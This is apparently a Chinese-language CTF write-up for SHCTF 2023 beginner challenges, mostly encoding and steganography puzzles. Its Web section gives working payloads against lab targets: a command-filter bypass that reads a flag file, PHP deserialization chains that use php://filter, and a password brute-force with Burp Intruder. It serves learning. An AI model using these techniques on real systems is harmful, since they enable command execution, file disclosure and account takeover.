前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SHCTF(山河)赛事部分Write up-白猫

SHCTF(山河)赛事部分Write up-白猫

作者头像
用户8909609
发布2023-10-31 08:25:12
6540
发布2023-10-31 08:25:12
举报
文章被收录于专栏:BM CTF

SHCTF(山河)赛事部分Write up-白猫

MISC

[WEEK1]签到题

下载题目并打开:

image.png
image.png

base128编码: Wm14aFozdDBhR2x6WDJselgyWnNZV2Q5 因为是base128编码,所以通过两次base64解码,即可得出flag

image.png
image.png

爆出flag: flag{this_is_flag} **总结: **

这道签到题主要考察了对base64编码的基础了解

[WEEK1]Steganography

下载题目并打开:

image.png
image.png

有三个文件,两个图片文件和一个压缩包文件 看到了flag压缩包,打开看一下

image.png
image.png

发现有flag文本文件存在,但是需要密码 那么密码信息可能在上面那两个图片文件中,直接放入到010浅浅分析一波

image.png
image.png

两个图片竟然一模一样,有点意思 在careful.jpg图片16进制字符串中发现了base64编码格式(==或=就是base64编码的重要特征)

image.png
image.png

MTJlcmNzLi4uLi45MDlqaw== 放到Kali里面浅浅解码一波

image.png
image.png

得到如下字符串 12ercs.....909jk 想到flag.txt需要用密码打开,猜测这个就是密码,但是呢,还有一个图片没有用上,所以这5个点显然不是密码。 把careful1.jpg放入到010分析一波

image.png
image.png

在16进制字符串中并没有发现什么有用的东西,只是一堆乱码,那么下一步该如何进行呢? 尝试查看一下careful1.jpg的图片属性,看看是否能有所突破 查看图片属性

image.png
image.png

出题人还是非常善良的,可以看到出题人在图片备注中给我们留了信息,刚好是5个字符对应了5个点

xqwed 12ercs.....909jk

密码: 12ercsxqwed909jk 打开flag.txt

image.png
image.png

爆出flag: **flag{4d72e4f3-4d4f-4969-bc8c-a2f6f7a4292c}**

[WEEK1]可爱的派蒙捏

下载题目文件,是一个压缩包,里面只有一张图片

image.png
image.png

放到010里面分析一波

image.png
image.png

图片隐写,发现存在两个文件txt1.txt和txt2.txt 放到Kali binwalk把这两个文本文件提取出来

image.png
image.png

提取成功,看看这两个文件里面是什么内容

image.png
image.png
image.png
image.png

刚开始我以为这是什么编码,看来是我想复杂了,经过这两个文件频繁切换,看到了有个别字符不同,大部分字符是相同的,想到了将不同字符提取出来,就是flag 拖入到物理机

image.png
image.png

复制到pycharm项目中

image.png
image.png

编写python脚本

代码语言:javascript
复制
# 打开第一个文本文件并读取内容
with open('txt1.txt', 'r', encoding='utf-8') as file1:
    text1 = file1.read()
# 打开第二个文本文件并读取内容
with open('txt2.txt', 'r', encoding='utf-8') as file2:
    text2 = file2.read()
# 找出text2中与text1不同的字符
differences = []
for i, (char1, char2) in enumerate(zip(text1, text2)):
    if char1 != char2:
        differences.append(char2)
# 打印text2中与text1不同的字符
print("text2中与text1不同的字符:", ''.join(differences))

在代码中我做了注释,方便大家理解 运行python脚本

image.png
image.png

爆出flag: **flag{4ebf327905288fca947a}**

[WEEK1]message

下载题目并打开:

image.png
image.png

0001000D91683106019196F40008C26211002072B975915730671B54114F60000A000A592982B15C065265843D8A938A00000A000A5E8A9AA453D883525730000A000A91527CBE518D6E1751656CEA75D5000A000A6C899ED852305BF94E0D8D77000A000A8FD94E0053CC624B535191195230002062B14F4F4F6000530048004300540046007B00620061003900370038003400300035002D0062003100630038002D0038003400370063002D0038006500360039002D006600360032003100370037006500340063003000380037007D

有ABCDEF猜测是16进制编码,16进制转字符串一把梭

image.png
image.png

得出flag: SHCTF{ba978405-b1c8-847c-8e69-f62177e4c087}

[WEEK1] 真的签到
image.png
image.png

不再多说,跟着操作走即可 得出flag: flag{Welc0me_tO_SHCTF2023}

[WEEK2]远在天边近在眼前

下载题目并打开:

image.png
image.png

很明显flag就是所有文件的路径地址 考虑到路径地址复制下来有的符号会丢失,放入010打开

image.png
image.png

}/8/2/1/5/a/3/8/4/8/2/5/0/_/?/T/H/G/l/r/I/4/_/Y/s/A/3/_/y/l/L/A/e/r/_/s/i/_/S/i/H/t/{/g/a/l/f 反的flag,还这么长,不想手动排序了,写个python脚本梭一把

image.png
image.png
代码语言:javascript
复制
ctf='}/8/2/1/5/a/3/8/4/8/2/5/0/_/?/T/H/G/l/r/I/4/_/Y/s/A/3/_/y/l/L/A/e/r/_/s/i/_/S/i/H/t/{/g/a/l/f'
flag=ctf[::-1]
flag=flag.replace('/','')#删除字符'/'
print(flag)

得出flag: flag{tHiS_is_reALly_3AsY_4IrlGHT?_0528483a5128}

[FINAL]问卷
image.png
image.png

跟着操作走即可

4a0c01102689499eea8e80442d2510d.png
4a0c01102689499eea8e80442d2510d.png

得出flag: flag{SHCTF_Round2_will_do_even_better!}

Web

[WEEK1]babyRCE

刚开始不要把题想的那么难,看下环境代码

代码语言:javascript
复制
<?php
$rce = $_GET['rce'];
if (isset($rce)) {
	if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
		system($rce);
		}	
else {
		echo "hhhhhhacker!!!"."\n";
		}
} else {
	highlight_file(__FILE__);
}

一、PHP代码审计

  1. 可以明显看到给了一个GET方式传参,这个参数是rce
  2. if判断语句**,isset函数**用来判断rce这个参数是否存在并且是否不为空,如果条件达成,则true
  3. preg_match正则表达式,用来过滤一些命令,可以看到过滤了cat、more、less、head、tac、tail、nl、od、vi、vim、sort、flag等命令并且过滤了整数和空格以及一些常用符号
  4. system外部执行命令,将参数rce的值作为命令执行,从这里可以看出这道题降低了难度,因为我们不再需要外部执行命令了,所以直接给参数rce传值即可
  5. else与if语句联用,反之则输出对应的字符串
  6. 同5,highlight_file(FILE)函数用来高亮显示文件内容,就是把文件内容或者代码高亮显示到网页当中

二、解题思路

  1. 查看目录文件,幸运的是发现ls和/没有被过滤
  2. 绕正则,看它有没有漏掉的过滤命令,发现没有过滤uniq命令,uniq命令可以查看文件内容
  3. 绕正则,查看文件命令需要用到空格,结果发现空格被过滤,可以使用${IFS}代替空格
  4. 绕正则,flag被过滤,可以通过f???进行绕过,可以理解为列出包含f的四个字符文件

三、开始解题

  1. 使用ls命令查看目录文件

?rce=ls 回显结果

image.png
image.png

flag.php index.php

  1. 发现有flag.php文件的存在,尝试使用构造payload

?rce=uniq${IFS}f???.php 回显结果 空白内容,F12试试

image.png
image.png
代码语言:javascript
复制
<?php
$flag = getenv('GZCTF_FLAG');
if($flag=="not_flag" or $flag==""){
$flag="dzctf{test_flag}";
}

getenv函数用来获取环境变量,flag的值等于这个环境变量的值 如果说flag是空的,则flag是dzctf{test_flag},显然这是不可能的 就是说这个目录下没有flag 那咱们去根目录下试试?

  1. 继续构造payload

?rce=uniq${IFS}/f???.php 发现网页内容为空,F12内容也是空 除了根目录下还有那里有?,猜测flag不是PHP文件,而是文本文件

  1. 继续构造payload

?rce=uniq${IFS}/f??? 回显flag

image.png
image.png

得出flag: flag{e85932a6-12df-4991-981c-adaf56337196}

[WEEK1]ez_serialize

题目环境:

image.png
image.png
代码语言:javascript
复制
<?php
  highlight_file(__FILE__);

class A{
  public $var_1;

  public function __invoke(){
    include($this->var_1);
  }
}

class B{
  public $q;
  public function __wakeup()
  {
    if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
      echo "hacker";           
    }
  }

}
class C{
  public $var;
  public $z;
  public function __toString(){
    return $this->z->var;
  }
}

class D{
  public $p;
  public function __get($key){
    $function = $this->p;
    return $function();
  }  
}

if(isset($_GET['payload']))
{
  unserialize($_GET['payload']);
}
  ?>

exp:

代码语言:javascript
复制
<?php
  class A{
  public $var_1='php://filter/read=convert.base64-encode/resource=flag.php';
  }
  class B{
    public $q;
  }
class C{
  public $var;
  public $z;
}
class D{
  public $p;
}
$A=new A();
$B=new B();
$C=new C();
$D=new D();
$D->p=$A;
$C->var=$B;
$B->q=$C;
$C->z=$D;
echo serialize($C);

运行结果: O:1:"C":2:{s:3:"var";O:1:"B":1:{s:1:"q";r:1;}s:1:"z";O:1:"D":1:{s:1:"p";O:1:"A":1:{s:5:"var_1";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}} 上传exp:

image.png
image.png

PD9waHANCiRmbGFnID0gImZsYWd7NDQxZTY5NzEtMjU3NC00ZWYzLTg5YWYtYWQwNDYwMzA2NmUwfSI7DQo= base64解码:

image.png
image.png

得出flag: flag{441e6971-2574-4ef3-89af-ad04603066e0}

[WEEK1]登录就给flag

题目环境:

image.png
image.png

burpsuite抓包

image.png
image.png

初始账号:admin 初始密码:1

HTTP history

image.png
image.png

Send to Intruder

image.png
image.png

Clear 选中密码1,Add

image.png
image.png

Payloads

image.png
image.png

Load添加字典

image.png
image.png

打开字典

image.png
image.png

Start attack开始爆破

e090c218fbdc79eaada97ffb64be64d.png
e090c218fbdc79eaada97ffb64be64d.png

得到密码 password

账户:admin 密码:password

登录:

image.png
image.png

login登录:

image.png
image.png

得到flag: flag{d2974de6-f71e-48f9-9659-dc453a23009a}

[WEEK1]飞机大战

题目环境:

image.png
image.png

玩了一把,通过才给flag,所以说想玩通过是不可能的,只能另辟蹊径 F12查看网页源代码

image.png
image.png

HTML三大件 HTML+CSS+JavaScript CSS静态网页样式 JavaScript动态功能

所以说更改游戏分数必须看这个JS文件

image.png
image.png

没有看到可控游戏参数,倒是看到了一串\u开头的类似编码的东西 有密码学基础的可以看出这是Unicode编码格式 \u005a\u006d\u0078\u0068\u005a\u0033\u0074\u0068\u0059\u0057\u0051\u0033\u005a\u0044\u0041\u0030\u005a\u0043\u0030\u0030\u004e\u0047\u0049\u0030\u004c\u0054\u0051\u0032\u004f\u0054\u0059\u0074\u0059\u006a\u004e\u006c\u004e\u0053\u0030\u007a\u004d\u007a\u0052\u006b\u004e\u006a\u0064\u0068\u004e\u007a\u004d\u0033\u004e\u0047\u004e\u0039\u000a Unicode解码一把梭

image.png
image.png

base64 ZmxhZ3thYWQ3ZDA0ZC00NGI0LTQ2OTYtYjNlNS0zMzRkNjdhNzM3NGN9 base64解码一把梭

image.png
image.png

得到flag: flag{aad7d04d-44b4-4696-b3e5-334d67a7374c}

[WEEK2]no_wake_up

题目环境:

image.png
image.png
代码语言:javascript
复制
<?php
highlight_file(__FILE__);
class flag{
public $username;
public $code;
public function __wakeup(){
$this->username = "guest";
}
public function __destruct(){
if($this->username = "admin"){
include($this->code);
}
}
}
unserialize($_GET['try']);

exp:

代码语言:javascript
复制
<?php
  class flag
{
  public $username = "admin";
public $code = "php://filter/read=convert.base64-encode/resource=flag.php";
}
$l=new flag();
echo serialize($l);

运行结果: O:4:"flag":2:{s:8:"username";s:5:"admin";s:4:"code";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";} 上传payload

image.png
image.png

base64编码 PD9waHANCiRmbGFnID0gImZsYWd7MTE5NmY2NzQtZjkwMi00YWEzLWI5M2MtNTUyYTgxNTUzMjlkfSI7 base64解码

image.png
image.png

得出flag: flag{1196f674-f902-4aa3-b93c-552a8155329d}

Crypto

[WEEK1]立正

下载题目并打开

image.png
image.png

wl hgrfhg 4gNUx4NgQgEUb4NC64NHxZLg636V6CDBiDNUHw8HkapH :jdoi vl vlkw ~xrb wd nrrT Y: 一把梭:

c7efdde8434f3ca711ce7d929b939cb.png
c7efdde8434f3ca711ce7d929b939cb.png

得到flag: flag{Y0U_MU57_5t4nd_uP_r1gHt_n0W}

[WEEK1]Crypto_Checkin

下载题目并打开

image.png
image.png

QZZ|KQbjRRS8QZRQdCYwR4_DoQ7~jyO>0t4R4__aQZQ9|Rz+k_Q!r#mR90+NR4_4NR%>ipO>0s{R90|SQhHKhRz+k^S8Q5JS5|OUQZO}CQfp*dS8P&9R8>k?QZYthRz+k_O>0#> base85(b)解码: R1kzRE1RWldHRTNET04yQ0dVMkRNT0JUR0UzVEdOS0dHTVlUT01aVklZMkRFTVpVRzRaVEdNWlZJWVpUR05TRkdZWlRHTUJXR1FaVEdOMkU= Base16-32-64-91混合多重解码: base64 R1kzRE1RWldHRTNET04yQ0dVMkRNT0JUR0UzVEdOS0dHTVlUT01aVklZMkRFTVpVRzRaVEdNWlZJWVpUR05TRkdZWlRHTUJXR1FaVEdOMkU= base32 GY3DMQZWGE3DON2CGU2DMOBTGE3TGNKGGMYTOMZVIY2DEMZUG4ZTGMZVIYZTGNSFGYZTGMBWGQZTGN2E base16 666C61677B546831735F31735F423473335F336E633064337D 三种base混合解码 得出flag: flag{Th1s_1s_B4s3_3nc0d3}

[WEEK1]残缺的md5

下载题目并打开:

image.png
image.png

使用python写脚本:

代码语言:javascript
复制
import itertools
import string
import hashlib
def generate_strings():
    characters = "QWERTYUIOPLKJHGFDSAZXCVBNM012345689"
    for _ in itertools.product(characters, repeat=1):
        yield ''.join(_)
# 输入的固定部分
a = 'KCLWG'
b = 'K8M9O3'
c = 'DE'
e = '84S9'
# 计算目标MD5哈希值
target_md5_suffix = "b2ac4e6"
for part1 in generate_strings():
    for part2 in generate_strings():
        for part3 in generate_strings():
            str_to_hash = a + part1 + b + part2 + c + part3 + e
            # 计算new_string的MD5哈希值
            md5_hash = hashlib.md5(str_to_hash.encode()).hexdigest()
            # 检查MD5哈希值的后七位是否与目标匹配
            if md5_hash[-7:] == target_md5_suffix:
                print("MD5加密前为:", str_to_hash)
                print("MD5加密后为:", md5_hash)

运行结果:

image.png
image.png

写个python脚本转大写

代码语言:javascript
复制
flag='f0af1443b1f463eafff7aebb8b2ac4e6'
print(flag.upper())

运行结果:

image.png
image.png

得到flag: flag{F0AF1443B1F463EAFFF7AEBB8B2AC4E6}

[WEEK1]凯撒大帝

下载题目并打开:

image.png
image.png

凯撒移位

image.png
image.png

得到flag: flag{chutihaonan}

[WEEK1]进制

下载题目并打开:

image.png
image.png

16进制转字符串

image.png
image.png

哈希还原

image.png
image.png

得到flag: flag{ahfkjlhkah}

[WEEK1]okk

下载题目并打开:

image.png
image.png

Ook编码转文本

image.png
image.png
image.png
image.png

得到flag: flag{123456789}

[WEEK1]熊斐特

下载题目并打开:

image.png
image.png

Atbash Cipher(埃特巴什码)转化

image.png
image.png

得到flag: flag{atbash cipher}

[WEEK1]黑暗之歌

下载题目并打开:

image.png
image.png

盲文解密

image.png
image.png

base64解密

image.png
image.png

音符解密

image.png
image.png

得出flag: flag{b2cc-9091-8a29}

[WEEK1]迷雾重重

下载题目并打开:

image.png
image.png

二进制转摩斯密码 0为’.‘1为’-‘空格为’/' ..-./.-../.-/--./----.--/--/---/.-./..././..--.-/../.../..--.-/...-/./.-./-.--/..--.-/..-./..-/-./-----.- 摩斯密码解密

image.png
image.png

%u7b={ %u7d=}

得到flag: FLAG{MORSE_IS_VERY_FUN}

[WEEK1]难言的遗憾

下载题目并打开:

image.png
image.png

中文电码解密

image.png
image.png

得出flag: flag{一天不学高数我就魂身难受}

[WEEK1]小兔子可爱捏

下载题目并打开:

image.png
image.png
image.png
image.png

宇宙的终极答案是:42 Rabbit(兔子)解密

image.png
image.png

得到flag: flag{i_love_technology}

[WEEK1]what is m

下载题目并打开:

image.png
image.png

还原m即可 写个python脚本一把梭

代码语言:javascript
复制
from Crypto.Util.number import long_to_bytes
m = 7130439814059477365465881592242189984174813803592711881640295679655301582414518361829827793806793804626699859619466410111590180160366476408654141662794502447303629472823901463632274384106877
flag=long_to_bytes(m)
print(flag)
#将m转为字节

运行结果:

image.png
image.png

得出flag: flag{th3re_4r3_S3veral_aITErnA7lvES_70_tHE_L0N6_7O_8Y73S_1UNcTION_dg12dC49bTf5}

PWN

[WEEK1]nc

nc连接

image.png
image.png

ls cat flag 一把梭

image.png
image.png

得到flag: flag{1dcc22cb-ae4d-4cb0-88f2-2e1461b1bb5c}

[WEEK1]hard nc

nc连接

image.png
image.png

ls cat flag ls gift2 cat gift2 cd gift2 ls cat flag2

image.png
image.png

base64编码 OTMtYTg3ZC0zN2FjMDljMGU1Njl9Cg== base64解码 93-a87d-37ac09c0e569} 好家伙只给了一半flag,再找找上半部分

ls -a查看隐藏目录文件 cat .gift

image.png
image.png

flag前半部分 flag{a284241c-5d85-46 前后合并 得出flag: flag{a284241c-5d85-4693-a87d-37ac09c0e569}

Reverse

[WEEK1]signin

下载题目并打开:

image.png
image.png

可执行文件 放入IDA进行分析

image.png
image.png

得到flag: flag{flag1sinarray}

后期我会去看看其他大佬师傅的WP,自己不会的看看能不能复现,太菜了,呜呜呜,争取给CTF新人做更好的题解;WP中有不足的地方还望师傅们积极提出。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2023-10-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • SHCTF(山河)赛事部分Write up-白猫
    • MISC
      • [WEEK1]签到题
      • [WEEK1]Steganography
      • [WEEK1]可爱的派蒙捏
      • [WEEK1]message
      • [WEEK1] 真的签到
      • [WEEK2]远在天边近在眼前
      • [FINAL]问卷
    • Web
      • [WEEK1]babyRCE
      • [WEEK1]ez_serialize
      • [WEEK1]登录就给flag
      • [WEEK1]飞机大战
      • [WEEK2]no_wake_up
    • Crypto
      • [WEEK1]立正
      • [WEEK1]Crypto_Checkin
      • [WEEK1]残缺的md5
      • [WEEK1]凯撒大帝
      • [WEEK1]进制
      • [WEEK1]okk
      • [WEEK1]熊斐特
      • [WEEK1]黑暗之歌
      • [WEEK1]迷雾重重
      • [WEEK1]难言的遗憾
      • [WEEK1]小兔子可爱捏
      • [WEEK1]what is m
    • PWN
      • [WEEK1]nc
      • [WEEK1]hard nc
    • Reverse
      • [WEEK1]signin
相关产品与服务
代码审计
代码审计(Code Audit,CA)提供通过自动化分析工具和人工审查的组合审计方式,对程序源代码逐条进行检查、分析,发现其中的错误信息、安全隐患和规范性缺陷问题,以及由这些问题引发的安全漏洞,提供代码修订措施和建议。支持脚本类语言源码以及有内存控制类源码。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档